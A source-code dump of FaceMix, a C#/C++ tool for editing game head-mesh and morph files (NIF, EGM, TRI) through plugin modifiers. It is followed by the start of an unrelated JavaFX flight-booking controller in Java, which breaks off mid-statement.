this.y = y; this.z = z; } public VertexPosition(BinaryReader reader) { this.x = reader.ReadSingle(); this.y = reader.ReadSingle(); this.z = reader.ReadSingle(); } public void Write(BinaryWriter writer) { writer.Write(this.x); writer.Write(this.y); writer.Write(this.z); } } public struct TriangleFace { private int a; private int b; private int c; public int A { get { return this.a; } set { this.a = value; } } public int B { get { return this.b; } set { this.b = value; } } public int C { get { return this.c; } set { this.c = value; } } public TriangleFace(BinaryReader reader) { this.a = reader.ReadInt32(); this.b = reader.ReadInt32(); this.c = reader.ReadInt32(); } public TriangleFace(int a, int b, int c) { this.a = a; this.b = b; this.c = c; } public void Write(BinaryWriter writer) { writer.Write(this.a); writer.Write(this.b); writer.Write(this.c); } } public struct QuadFace { private int a; private int b; private int c; private int d; public int A { get { return this.a; } set { this.a = value; } } public int B { get { return this.b; } set { this.b = value; } } public int C { get { return this.c; } set { this.c = value; } } public int D { get { return this.d; } set { this.d = value; } } public QuadFace(BinaryReader reader) { this.a = reader.ReadInt32(); this.b = reader.ReadInt32(); this.c = reader.ReadInt32(); this.d = reader.ReadInt32(); } public QuadFace(int a,int b,int c,int d) { this.a = a; this.b = b; this.c = c; this.d = d; } public void Write(BinaryWriter writer) { writer.Write(this.a); writer.Write(this.b); writer.Write(this.c); writer.Write(this.d); } } public struct UvVertexPosition { private float u; private float v; public float U { get { return this.u; } set { this.u = value; } } public float V { get { return this.v; } set { this.v = value; } } public UvVertexPosition(BinaryReader reader) { this.u = reader.ReadSingle(); this.v = reader.ReadSingle(); } public void Write(BinaryWriter writer) { writer.Write(this.u); writer.Write(this.v); } } public struct UvTriangleFace { private int a; private int b; private int c; public UvTriangleFace(BinaryReader reader) { this.a = reader.ReadInt32(); this.b = reader.ReadInt32(); this.c = reader.ReadInt32(); } public void Write(BinaryWriter writer) { writer.Write(this.a); writer.Write(this.b); writer.Write(this.c); } } public struct VertexDisplacement { private short x; private short y; private short z; public short X { get { return this.x; } set { this.x = value; } } public short Y { get { return this.y; } set { this.y = value; } } public short Z { get { return this.z; } set { this.z = value; } } public VertexDisplacement(BinaryReader reader) { this.x = reader.ReadInt16(); this.y = reader.ReadInt16(); this.z = reader.ReadInt16(); } public void Write(BinaryWriter writer) { writer.Write(this.x); writer.Write(this.y); writer.Write(this.z); } public VertexDisplacement(short x, short y, short z) { this.x = x; this.y = y; this.z = z; } } public struct Triple<Type1, Type2, Type3> { Type1 a; Type2 b; Type3 c; public Type1 A { get { return this.a; } set { this.a = value; } } public Type2 B { get { return this.b; } set { this.b = value; } } public Type3 C { get { return this.c; } set { this.c = value; } } public Type1 X { get { return this.a; } set { this.a = value; } } public Type2 Y { get { return this.b; } set { this.b = value; } } public Type3 Z { get { return this.c; } set { this.c = value; } } public Triple(Type1 a, Type2 b, Type3 c) { this.a = a; this.b = b; this.c = c; } } }<file_sep>/FaceMix/MainWindow.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using FaceMix.Base; using FaceMix.Wrappers; using FaceMix.Core; using System.Reflection; namespace FaceMix { public partial class MainWindow : Form { public List<AbstractModifier> modifiers; public List<HeadFile> modifiersStages; public MainWindow() { InitializeComponent(); this.LoadPlugins(); foreach (string name in AbstractModifier.GetModifierNames()) { this.modifiersComboBox.Items.Add(name); } this.modifiers = new List<AbstractModifier>(); this.modifiersStages = new List<HeadFile>(); this.addButton.Enabled = false; //AbstractModifier mod = AbstractModifier.MakeModifier("Eyes Modifier"); //this.modifierPropertiesPanel.Controls.Add(mod.Menu); } private void LoadPlugins() { AbstractModifier.LoadedAssemblies.Add(Assembly.GetExecutingAssembly()); DirectoryInfo plugDir = new DirectoryInfo(Environment.CurrentDirectory + "\\Plugins"); if (!plugDir.Exists) return; FileInfo[] files = plugDir.GetFiles(); foreach (FileInfo file in files) { try { Assembly asm = Assembly.LoadFile(file.FullName); AbstractModifier.LoadedAssemblies.Add(asm); } catch (Exception) { } } } private void exitToolStripMenuItem_Click_1(object sender, EventArgs e) { Environment.Exit(0); } private void openFileToolStripMenuItem_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Nif Files (*.nif)|*.nif|" + "EGM Files (*.egm)|*.egm|" + "TRI Files (*.tri)|*.tri|" + "All files (*.*)|*.*"; if (open.ShowDialog() == System.Windows.Forms.DialogResult.OK) { try { HeadFile nifFile = new HeadFile(open.FileName); this.modifiersStages.Clear(); this.modifiers.Clear(); this.modifiersStages.Add(nifFile); this.modifierPropertiesPanel.Controls.Clear(); this.modifiersListView.Items.Clear(); this.addButton.Enabled = true; this.deletebutton.Enabled = true; this.moveUpButton.Enabled = true; this.moveDownbutton.Enabled = true; this.clearButton.Enabled = true; this.resetButton.Enabled = true; this.targetFileTextBox.Text = open.FileName; } catch (FileNotFoundException) { MessageBox.Show("Could not load tri file"); } } } private void saveFileToolStripMenuItem_Click(object sender, EventArgs e) { if (this.modifiersStages.Count <= 0) return; SaveFileDialog save = new SaveFileDialog(); save.Filter = "Nif Files (*.nif)|*.nif|" + "EGM Files (*.egm)|*.egm|" + "TRI Files (*.tri)|*.tri|" + "All files (*.*)|*.*"; if (save.ShowDialog() == System.Windows.Forms.DialogResult.OK) { this.modifiersStages[this.modifiersStages.Count - 1].WriteToFile(save.FileName); } } void mod_WhenReady(object sender, EventArgs e) { this.UpdateModifiers(sender as AbstractModifier); } private void UpdateModifiers(AbstractModifier startingModifier) { int start = 0; for(int i = 0;i < this.modifiers.Count; i++) if (this.modifiers[i] == startingModifier) { start = i; } for (int i = start; i < this.modifiers.Count; i++) { this.modifiers[i].Target = this.modifiersStages[i]; this.modifiersStages[i + 1] = this.modifiers[i].Apply(); } this.modifiersListView.BeginUpdate(); this.modifiersListView.Items.Clear(); for (int i = 0; i < this.modifiers.Count; i++) this.modifiersListView.Items.Add(this.modifiers[i].ToListViewItem(i)); this.modifiersListView.EndUpdate(); } private void modifiersListView_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e) { if (this.modifiersListView.SelectedItems.Count > 0) { ListView.SelectedIndexCollection index = this.modifiersListView.SelectedIndices; this.modifierPropertiesPanel.Controls.Clear(); this.modifierPropertiesPanel.Controls.Add(this.modifiers[index[0]].Menu); } } private void resetButton_Click(object sender, EventArgs e) { this.addButton.Enabled = false; this.resetButton.Enabled = false; this.moveDownbutton.Enabled = false; this.moveUpButton.Enabled = false; this.clearButton.Enabled = false; this.deletebutton.Enabled = false; this.modifiers.Clear(); this.modifiersStages.Clear(); this.modifierPropertiesPanel.Controls.Clear(); this.modifiersListView.Items.Clear(); this.targetFileTextBox.Text = ""; } private void addButton_Click(object sender, EventArgs e) { AbstractModifier mod = AbstractModifier.MakeModifier(this.modifiersComboBox.Text); if (mod != null) { this.modifierPropertiesPanel.Controls.Clear(); this.modifiersListView.SelectedItems.Clear(); mod.Target = this.modifiersStages[this.modifiersStages.Count - 1]; this.modifiersListView.BeginUpdate(); this.modifiersListView.SelectedItems.Clear(); this.modifiersListView.Items.Add(mod.ToListViewItem(this.modifiers.Count)); this.modifiersListView.EndUpdate(); this.modifierPropertiesPanel.Controls.Clear(); this.modifierPropertiesPanel.Controls.Add(mod.Menu); this.modifiers.Add(mod); mod.WhenReady += new AbstractModifier.Ready(mod_WhenReady); HeadFile tmp = this.modifiersStages[this.modifiersStages.Count - 1]; this.modifiersStages.Add(tmp); } } private void deleteButton_Click(object sender, EventArgs e) { if(this.modifiersListView.SelectedItems.Count <=0 ) return; this.modifierPropertiesPanel.Controls.Clear(); AbstractModifier mod = this.modifiers[this.modifiersListView.SelectedIndices[0]]; this.modifiers.RemoveAt(this.modifiersListView.SelectedIndices[0]); this.modifiersStages.RemoveAt(this.modifiersStages.Count - 1); this.UpdateModifiers(mod); } private void clearButton_Click(object sender, EventArgs e) { this.modifierPropertiesPanel.Controls.Clear(); HeadFile start = this.modifiersStages[0]; this.modifiersStages.Clear(); this.modifiersStages.Add(start); this.modifiers.Clear(); this.modifiersListView.BeginUpdate(); this.modifiersListView.Items.Clear(); this.modifiersListView.EndUpdate(); } private void moveDownbutton_Click(object sender, EventArgs e) { if (this.modifiersListView.SelectedItems.Count <= 0) return; if (this.modifiersListView.SelectedIndices[0] >= this.modifiers.Count - 1) { int t = this.modifiersListView.SelectedIndices[0]; this.modifiersListView.BeginUpdate(); this.modifiersListView.SelectedIndices.Clear(); this.modifiersListView.SelectedIndices.Add(t); this.modifiersListView.EndUpdate(); this.modifiersListView.Focus(); return; } int selected = this.modifiersListView.SelectedIndices[0]; AbstractModifier tmp = this.modifiers[selected + 1]; this.modifiers[selected + 1] = this.modifiers[selected]; this.modifiers[selected] = tmp; this.UpdateModifiers(this.modifiers[selected]); this.modifiersListView.BeginUpdate(); this.modifiersListView.Items.Clear(); for (int i = 0; i < this.modifiers.Count; i++) this.modifiersListView.Items.Add(this.modifiers[i].ToListViewItem(i)); this.modifiersListView.SelectedIndices.Clear(); this.modifiersListView.SelectedIndices.Add(selected + 1); this.modifiersListView.EndUpdate(); this.modifiersListView.Focus(); } private void moveUpButton_Click(object sender, EventArgs e) { if (this.modifiersListView.SelectedItems.Count <= 0) return; if (this.modifiersListView.SelectedIndices[0] <= 0) { int t = this.modifiersListView.SelectedIndices[0]; this.modifiersListView.BeginUpdate(); this.modifiersListView.SelectedIndices.Clear(); this.modifiersListView.SelectedIndices.Add(t); this.modifiersListView.EndUpdate(); this.modifiersListView.Focus(); return; } int selected = this.modifiersListView.SelectedIndices[0]; AbstractModifier tmp = this.modifiers[selected - 1]; this.modifiers[selected - 1] = this.modifiers[selected]; this.modifiers[selected] = tmp; this.UpdateModifiers(this.modifiers[selected - 1]); this.modifiersListView.BeginUpdate(); this.modifiersListView.Items.Clear(); for (int i = 0; i < this.modifiers.Count; i++) this.modifiersListView.Items.Add(this.modifiers[i].ToListViewItem(i)); this.modifiersListView.SelectedIndices.Clear(); this.modifiersListView.SelectedIndices.Add(selected - 1); this.modifiersListView.EndUpdate(); this.modifiersListView.Focus(); } private void aboutToolStripMenuItem_Click(object sender, EventArgs e) { AboutBox about = new AboutBox(); about.ShowDialog(); } } }<file_sep>/FaceMixBase/EGMMorphset.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using FaceMix.Core; namespace FaceMix.Base { public class EGMMorphset : List<VertexDisplacement> { private byte[] unknown; public byte[] Unknown { get { return this.unknown; } set { this.unknown = value; } } public EGMMorphset() : base() { } public EGMMorphset(EGMMorphset morph) : base() { this.unknown = new byte[4]; for (int i = 0; i < 4; i++) this.unknown[i] = morph.unknown[i]; foreach (VertexDisplacement data in morph) { this.Add(data); } } public void Write(BinaryWriter writer) { foreach (byte b in this.unknown) { writer.Write(b); } foreach (VertexDisplacement data in this) { writer.Write(data.X); writer.Write(data.Y); writer.Write(data.Z); } } } } <file_sep>/FaceMix/AddEyeMorphControl.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Data; using System.Linq; using System.Text; using System.Windows.Forms; namespace FaceMix { public partial class AddEyeMorphControl : UserControl { public AddEyeMorphControl() { InitializeComponent(); } private void radioButton1_CheckedChanged(object sender, EventArgs e) { if (this.radioButton1.Checked == true) { this.openVertexIndexesButton.Enabled = true; } else { this.openVertexIndexesButton.Enabled = false; } } } } <file_sep>/FaceMixBase/EGMFileBase.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; namespace FaceMix.Base { public class EGTFile { private List<byte> byteStream; public virtual byte[] ByteStream { get { return this.byteStream.ToArray(); } set { this.byteStream = new List<byte>(value); } } public EGTFile() { this.byteStream = new List<byte>(); } public EGTFile(FileStream file) { file.Position = 0; BinaryReader reader = new BinaryReader(file); this.byteStream = new List<byte>(reader.ReadBytes((int)file.Length)); } public virtual void WriteToFile(FileStream file) { BinaryWriter writer = new BinaryWriter(file); writer.Write(this.byteStream.ToArray()); } } } <file_sep>/FaceMixBase/AbstractModifier.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Reflection; using System.Windows.Forms; namespace FaceMix.Base { public abstract class AbstractModifier { private static List<Assembly> loadedAssemblies = new List<Assembly>(); public static List<Assembly> LoadedAssemblies { get { return AbstractModifier.loadedAssemblies; } } public delegate void Ready(object sender, EventArgs e); public abstract event Ready WhenReady; public static AbstractModifier MakeModifier(string name) { bool found = false; Type ftype = typeof(Object); AbstractModifier ret = null; foreach (Assembly asm in AbstractModifier.loadedAssemblies) { foreach (Type item in asm.GetTypes()) { object[] at = item.GetCustomAttributes(typeof(ModifierAttribute), false); string n = item.Name; if (at.Length > 0 && ((ModifierAttribute)at[0]).Name == name) { found = true; ftype = item; break; } } if (found == true) break; } if (found == true) { ConstructorInfo info = ftype.GetConstructor(new Type[0]); ret = info.Invoke(new Type[0]) as AbstractModifier; } return ret; } public static string[] GetModifierNames() { Type ftype = typeof(Object); List<string> ret = new List<string>(); foreach (Assembly asm in AbstractModifier.loadedAssemblies) { foreach (Type item in asm.GetTypes()) { object[] at = item.GetCustomAttributes(typeof(ModifierAttribute), false); string n = item.Name; if (at.Length > 0) { ret.Add(((ModifierAttribute)at[0]).Name); } } } return ret.ToArray(); } public abstract string Name { get; } public abstract HeadFile Apply(); public abstract HeadFile Apply(HeadFile target); public abstract UserControl Menu { get; } public abstract ListViewItem ToListViewItem(int index); public abstract HeadFile Target { get; set; } public abstract bool Applied { get; } public abstract string Properties { get; } } } <file_sep>/FaceMixWrappers/FaceMix.Wrappers.cpp // This is the main DLL file. #include "stdafx.h" #include "FaceMix.Wrappers.h" using namespace FaceMix::Core; using namespace System; using namespace System::Collections::Generic; namespace FaceMix { namespace Wrappers { namespace Obsolete { VertexDisplacement::VertexDisplacement(BinaryReader^ reader) { this->x = reader->ReadInt16(); this->y = reader->ReadInt16(); this->z = reader->ReadInt16(); } void VertexDisplacement::Write(BinaryWriter^ writer) { writer->Write(this->x); writer->Write(this->y); writer->Write(this->z); } VertexPosition::VertexPosition(BinaryReader^ reader) { this->x = reader->ReadSingle(); this->y = reader->ReadSingle(); this->z = reader->ReadSingle(); } void VertexPosition::Write(BinaryWriter^ writer) { writer->Write(this->x); writer->Write(this->y); writer->Write(this->z); } } NifContainer::NifContainer(char* tmp,int size) { std::stringstream buf(stringstream::binary | stringstream::in | stringstream::out); buf.write(tmp,size); this->scene = Niflib::ReadNifList(buf); } NifContainer::~NifContainer() { } NifFile::NifFile() { this->binaryData = gcnew List<unsigned char>(); } NifFile::NifFile(String^ name) { char* tmp = new char[name->Length]; for(int i = 0;i < name->Length; i++) { tmp[i] = BitConverter::GetBytes(name[i])[0]; } std::string path(tmp,name->Length); Niflib::Ref<Niflib::NiObject> file = Niflib::ReadNifTree(path); } NifFile::NifFile(FileStream^ stream){ BinaryReader^ reader = gcnew BinaryReader(stream); this->binaryData = gcnew List<unsigned char>(reader->ReadBytes(stream->Length - stream->Position)); this->meshData = gcnew List<MeshBase^>(); char* tmp = new char[this->binaryData->Count]; for(int i = 0;i < this->binaryData->Count; i++) { tmp[i] = this->binaryData[i]; } this->sceneWrapper = new NifContainer(tmp,this->binaryData->Count); for(int j = 0;j < this->sceneWrapper->scene.size(); j++) { NiTriShapeRef test = Niflib::DynamicCast<NiTriShape>(this->sceneWrapper->scene[j]); if(test != NULL) { vector<Vector3> vertices = test->GetData()->GetVertices(); NiTriShapeDataRef data = Niflib::DynamicCast<NiTriShapeData>(test->GetData()); if(data != NULL) { vector<Triangle> triangles = data->GetTriangles(); MeshBase^ aux = gcnew MeshBase(); for(int x = 0;x < vertices.size(); x++) { aux->Vertices->Add(VertexPosition(vertices[x].x,vertices[x].y,vertices[x].z)); } for(int x = 0;x < triangles.size(); x++) { TriangleFace face(triangles[x].v1,triangles[x].v2,triangles[x].v3); aux->TriangleFaces->Add(face); } array<unsigned char>^ buf= gcnew array<unsigned char>(2); buf[1] = 0; StringBuilder^ bld = gcnew StringBuilder(); for(int i = 0;i < test->GetName().size(); i++) { buf[0] = test->GetName()[i]; bld->Append(BitConverter::ToChar(buf,0)); } aux->Name = bld->ToString(); this->meshData->Add(aux); } } NiTriStripsRef test2 = Niflib::DynamicCast<NiTriStrips>(this->sceneWrapper->scene[j]); if(test != NULL) { vector<Vector3> vertices = test->GetData()->GetVertices(); NiTriStripsDataRef data = Niflib::DynamicCast<NiTriStripsData>(test->GetData()); if(data != NULL) { vector<Triangle> triangles = data->GetTriangles(); MeshBase^ aux = gcnew MeshBase(); for(int x = 0;x < vertices.size(); x++) { aux->Vertices->Add(VertexPosition(vertices[x].x,vertices[x].y,vertices[x].z)); } for(int x = 0;x < triangles.size(); x++) { TriangleFace face(triangles[x].v1,triangles[x].v2,triangles[x].v3); aux->TriangleFaces->Add(face); } array<unsigned char>^ buf= gcnew array<unsigned char>(2); buf[1] = 0; StringBuilder^ bld = gcnew StringBuilder(); for(int i = 0;i < test2->GetName().size(); i++) { buf[0] = test2->GetName()[i]; bld->Append(BitConverter::ToChar(buf,0)); } aux->Name = bld->ToString(); this->meshData->Add(aux); } } } delete tmp; } NifFile::NifFile(NifFile^ niffile) { this->binaryData = gcnew List<unsigned char>(niffile->BinaryData); this->meshData = gcnew List<MeshBase^>(); char* tmp = new char[this->binaryData->Count]; for(int i = 0;i < this->binaryData->Count; i++) { tmp[i] = this->binaryData[i]; } this->sceneWrapper = new NifContainer(tmp,this->binaryData->Count); for(int j = 0;j < this->sceneWrapper->scene.size(); j++) { NiTriShapeRef test = Niflib::DynamicCast<NiTriShape>(this->sceneWrapper->scene[j]); if(test != NULL) { vector<Vector3> vertices = test->GetData()->GetVertices(); NiTriShapeDataRef data = Niflib::DynamicCast<NiTriShapeData>(test->GetData()); if(data != NULL) { vector<Triangle> triangles = data->GetTriangles(); MeshBase^ aux = gcnew MeshBase(); for(int x = 0;x < vertices.size(); x++) { aux->Vertices->Add(VertexPosition(vertices[x].x,vertices[x].y,vertices[x].z)); } for(int x = 0;x < triangles.size(); x++) { TriangleFace face(triangles[x].v1,triangles[x].v2,triangles[x].v3); aux->TriangleFaces->Add(face); } this->meshData->Add(aux); } } NiTriStripsRef test2 = Niflib::DynamicCast<NiTriStrips>(this->sceneWrapper->scene[j]); if(test != NULL) { vector<Vector3> vertices = test->GetData()->GetVertices(); NiTriStripsDataRef data = Niflib::DynamicCast<NiTriStripsData>(test->GetData()); if(data != NULL) { vector<Triangle> triangles = data->GetTriangles(); MeshBase^ aux = gcnew MeshBase(); for(int x = 0;x < vertices.size(); x++) { aux->Vertices->Add(VertexPosition(vertices[x].x,vertices[x].y,vertices[x].z)); } for(int x = 0;x < triangles.size(); x++) { TriangleFace face(triangles[x].v1,triangles[x].v2,triangles[x].v3); aux->TriangleFaces->Add(face); } this->meshData->Add(aux); } } } delete tmp; } void NifFile::WriteToFile(FileStream^ stream) { BinaryWriter^ writer = gcnew BinaryWriter(stream); writer->Write(this->binaryData->ToArray()); } NifFile::~NifFile() { delete this->sceneWrapper; } } } <file_sep>/FaceMixBase/AbstractMorphModifier.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using FaceMix.Core; namespace FaceMix.Base { public abstract class AbstractMorphModifier : AbstractModifier { public virtual List<VertexDisplacement> CalculateDisplacements(List<VertexPosition> target, List<VertexPosition> reference, List<int> ignorelist, double accuracy) { if (target.Count != reference.Count) return null; List<VertexDisplacement> morphList = new List<VertexDisplacement>(); double max = 0; for (int i = 0; i < target.Count; i++) { max = Math.Max(max, Math.Abs(target[i].X - reference[i].X)); max = Math.Max(max, Math.Abs(target[i].Y - reference[i].Y)); max = Math.Max(max, Math.Abs(target[i].Z - reference[i].Z)); } double scale = 32765f / max; for (int i = 0; i < target.Count; i++) { double x = target[i].X - reference[i].X; double y = target[i].Y - reference[i].Y; double z = target[i].Z - reference[i].Z; if (!(ignorelist.Contains(i)) && (Math.Abs(x) >= accuracy || Math.Abs(y) >= accuracy || Math.Abs(z) >= accuracy)) morphList.Add(new VertexDisplacement((short)-Math.Ceiling(x * scale), (short)-Math.Ceiling(y * scale), (short)-Math.Ceiling(z * scale))); else { morphList.Add(new VertexDisplacement(0, 0, 0)); } } return morphList; } public virtual List<VertexDisplacement> CalculateDisplacements(List<Triple<double, double, double>> offsets, List<int> ignorelist, double accuracy) { List<VertexDisplacement> morphList = new List<VertexDisplacement>(); double max = 0; for (int i = 0; i < offsets.Count; i++) { max = Math.Max(max, Math.Abs(offsets[i].X)); max = Math.Max(max, Math.Abs(offsets[i].Y)); max = Math.Max(max, Math.Abs(offsets[i].Z)); } double scale = 32765f / max; for (int i = 0; i < offsets.Count; i++) { double x = offsets[i].X; double y = offsets[i].Y; double z = offsets[i].Z; if (!(ignorelist.Contains(i)) && (Math.Abs(x) >= accuracy || Math.Abs(y) >= accuracy || Math.Abs(z) >= accuracy)) morphList.Add(new VertexDisplacement((short)-Math.Ceiling(x * scale), (short)-Math.Ceiling(y * scale), (short)-Math.Ceiling(z * scale))); else { morphList.Add(new VertexDisplacement(0, 0, 0)); } } return morphList; } public virtual List<Triple<double, double, double>> CalculateOffsets(List<VertexPosition> target, List<VertexPosition> reference) { List<Triple<double, double, double>> ret = new List<Triple<double, double, double>>(); for (int i = 0; i < target.Count; i++) { ret.Add(new Triple<double, double, double>(target[i].X - reference[i].X, target[i].Y - reference[i].Y, target[i].Z - reference[i].Z)); } return ret; } } } <file_sep>/FaceMix/UpdateTRIMesh.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using FaceMix.Base; namespace FaceMix { [Modifier("Update TRI Mesh")] public class UpdateTRIMesh : AbstractModifier { private HeadFile target; private bool applied; private OBJFile reference; private UpdateTRIMeshControl menu; public override event AbstractModifier.Ready WhenReady; public override string Name { get { return "Update TRI Mesh"; } } public UpdateTRIMesh() { this.applied = false; this.menu = new UpdateTRIMeshControl(); this.menu.applyButton.Click += new EventHandler(applyButton_Click); this.menu.openButton.Click += new EventHandler(openButton_Click); } void openButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "OBJ Files (*.obj)|*.OBJ|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK) { FileStream stream = new FileStream(open.FileName, FileMode.Open); OBJFile buf = new OBJFile(stream); stream.Close(); if (buf.Vertices.Count != this.target.TRI.Header.VertexCount) { return; } this.reference = buf; this.menu.textBox1.Text = open.FileName; } } void applyButton_Click(object sender, EventArgs e) { this.WhenReady(this, new EventArgs()); } public override HeadFile Apply() { if (this.target == null || this.reference == null) return this.target; HeadFile ret = new HeadFile(this.target); for (int i = 0; i < this.target.TRI.Header.VertexCount; i++) { ret.TRI.Vertices[i] = this.reference.Vertices[i]; } this.applied = true; return ret; } public override HeadFile Apply(HeadFile target) { throw new NotImplementedException(); } public override UserControl Menu { get { return this.menu; } } public override ListViewItem ToListViewItem(int index) { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add("Update TRI Mesh"); if (this.applied == false) { ret.SubItems.Add("Applied: " + this.applied.ToString() + ", Reference file: None"); } else { ret.SubItems.Add("Applied: " + this.applied.ToString() + ", Reference file: " + this.menu.textBox1.Text); } return ret; } public override HeadFile Target { get { return this.target; } set { this.target = value; } } public override bool Applied { get { return this.applied; } } public override string Properties { get { StringBuilder bld = new StringBuilder(); bld.Append("Applied: False, "); if (this.reference == null) bld.Append("Reference file: None"); else bld.Append("Reference file: " + this.menu.textBox1.Text); return bld.ToString(); } } } } <file_sep>/FaceMixBase/TRIModifierData.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Windows.Forms; namespace FaceMix.Base { public class TRIModifierData : List<int> { private int nameSize; private string name; private int dataSize; public int NameSize { get { return this.nameSize; } set { this.nameSize = value; } } public string Name { get { return this.name; } set { this.name = value; } } public int DataSize { get { return this.dataSize; } set { this.dataSize = value; } } public TRIModifierData() : base() { this.nameSize = 0; this.name = ""; this.dataSize = 0; } public TRIModifierData(TRIModifierData mod) : base() { this.nameSize = mod.nameSize; this.name = mod.name.Clone() as string; this.dataSize = mod.dataSize; foreach (int nr in mod) { this.Add(nr); } } public TRIModifierData(BinaryReader reader) : base() { this.nameSize = reader.ReadInt32(); byte[] bytes = reader.ReadBytes(this.nameSize); this.name = TRIFile.BytesToString(bytes); this.dataSize = reader.ReadInt32(); for (int i = 0; i < this.dataSize; i++) { this.Add(reader.ReadInt32()); } } public void Write(BinaryWriter writer) { writer.Write(this.nameSize); writer.Write(TRIFile.StringToBytes(this.name)); writer.Write(this.dataSize); foreach (int nr in this) { writer.Write(nr); } } public ListViewItem ToListViewItem(int index) { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add(this.nameSize.ToString()); ret.SubItems.Add(this.name); ret.SubItems.Add(this.dataSize.ToString()); StringBuilder bld = new StringBuilder(); foreach (int nr in this) { bld.Append(nr.ToString() + " "); } ret.SubItems.Add(bld.ToString()); return ret; } } }
bcffd42a147d8b8eec4145f6875dc132d11fbce0
[ "C#", "C++" ]
22
C#
whztt07/FaceMix
a41a2939747ea3495b91b2af2d03f2c3f79c4ab6
6ed74b51a9d340ccb78368b75e2d942f713abf79
refs/heads/master
<file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package bookflight; import bookflight.booking.SeatClass; import bookflight.booking.SeatType; import bookflight.booking.exceptions.SeatTakenException; import bookflight.booking.objects.*; import bookflight.utilities.DataManagement; import bookflight.utilities.FileManagement; import java.io.File; import java.io.IOException; import java.net.URL; import java.util.Arrays; import java.util.List; import java.util.ResourceBundle; import javafx.beans.value.ObservableValue; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.fxml.FXML; import javafx.fxml.Initializable; import javafx.scene.control.Alert; import javafx.scene.control.Alert.AlertType; import javafx.scene.control.ButtonType; import javafx.scene.control.ComboBox; import javafx.scene.control.TableColumn; import javafx.scene.control.TableView; import javafx.scene.control.TextArea; import javafx.scene.control.TextField; import javafx.scene.control.cell.PropertyValueFactory; /** * The main front-end to the application * @author <NAME> */ public class FXMLDocumentController implements Initializable { // Dialogue messages private final String ERROR_BAD_FIRST_NAME_HEADER = "The first name is incorrect"; private final String ERROR_BAD_FIRST_NAME = "The input for the first name is incorrect, please ensure that the first name's size is above 3."; private final String ERROR_BAD_LAST_NAME_HEADER = "The last name is incorrect"; private final String ERROR_BAD_LAST_NAME = "The input for the last name is incorrect, please ensure that the last name's size is above 3."; private final String ERROR_BAD_AGE_HEADER = "The age entered is incorrect"; private final String ERROR_BAD_AGE = "The input for age is incorrect, please ensure that the age entered are numbers only"; private final String ERROR_NO_CUSTOMER_HEADER = "No member selected"; private final String ERROR_NO_CUSTOMER = "Can't book a flight without selecting a member first"; private final String ERROR_BAD_ROW_COLUMN_HEADER = "Column or Row is not a number"; private final String ERROR_BAD_ROW_COLUMN = "Couldn't book a seat because the column or row is not a number."; private final String ERROR_NULL_SEAT_HEADER = "Seat does not exist"; private final String ERROR_NULL_SEAT = "Couldn't book a seat because the seat being booked does not exist. Please ensure you have selected an existing seat for your booking."; private final String ERROR_FULL_BOOKED_HEADER = "All flights booked"; private final String ERROR_FULL_BOOKED = "All the seats based on your preferences have been taken. To book a flight, please do it manually."; private final String ERROR_ALREADY_BOOKED_HEADER = "Already booked"; private final String ERROR_ALREADY_BOOKED = "Already booked, please cancel the current booking before proceeding to create a new booking."; private final String ERROR_SEAT_BOOKED_HEADER = "Seat has already been booked"; private final String ERROR_SEAT_BOOKED = "Cannot book the selected seat as it has been already been booked. Please choose another seat"; private final String FILE_SEAT = "." + File.separator + "seats"; private final String FILE_CUSTOMER = "." + File.separator + "customers"; // TextArea used to display the seats of the plane @FXML private TextArea textAreaSeats; // Table for members @FXML private TableView tableViewMembers; @FXML private TableColumn<Customer, String> tableColumnMembersSeatAllocation; @FXML private TableColumn<Customer, String> tableColumnMembersFirstName; @FXML private TableColumn<Customer, String> tableColumnMembersLastName; @FXML private TableColumn<Customer, Integer> tableColumnMembersAge; @FXML private TableColumn<Customer, String> tableColumnMembersPrefClass; @FXML private TableColumn<Customer, String> tableColumnMembersPrefType; @FXML private TextField textFieldMemberSearch; // Form for selecting seat to book @FXML private TextField textFieldMemberColumn; @FXML private TextField textFieldMemberRow; // Form for adding members @FXML private TextField textFieldFirstName; @FXML private TextField textFieldLastName; @FXML private TextField textFieldAge; @FXML private ComboBox comboBoxSeatClass; @FXML private ComboBox comboBoxSeatType; // Program related data private Airplane airplane; private Customer[] customers; private ObservableList<Customer> customerGuiList; // UI related data private String searchTerm = ""; @Override public void initialize(URL url, ResourceBundle rb) { // Initialize all visual elements textAreaSeats.setEditable(false); airplane = new Airplane(); // Prepare tableViewMembers for displaying Customer objects tableColumnMembersSeatAllocation.setCellValueFactory( new PropertyValueFactory<>("seatAlloc")); tableColumnMembersFirstName.setCellValueFactory( new PropertyValueFactory<>("firstName")); tableColumnMembersLastName.setCellValueFactory( new PropertyValueFactory<>("lastName")); tableColumnMembersAge.setCellValueFactory( new PropertyValueFactory<>("age")); tableColumnMembersPrefClass.setCellValueFactory( new PropertyValueFactory<>("seatingClass")); tableColumnMembersPrefType.setCellValueFactory( new PropertyValueFactory<>("seatingType")); // Add search listener textFieldMemberSearch.textProperty().addListener((Observable, oldValue, newValue) -> { newValue = newValue.toUpperCase(); searchTerm = newValue.trim(); refreshData(); }); // Initialise customer collection and assign it to tableViewMembers customerGuiList = FXCollections.observableArrayList(); tableViewMembers.setItems(customerGuiList); Customer[] customerFile = FileManagement.readCustomersFromFile(FILE_CUSTOMER); // Quick hacky solution to ensure that the customer Id's are appropriately set. if (customerFile != null) { for (Customer customer : customerFile) { addCustomer(new Customer(customer.getFirstName(), customer.getLastName(), 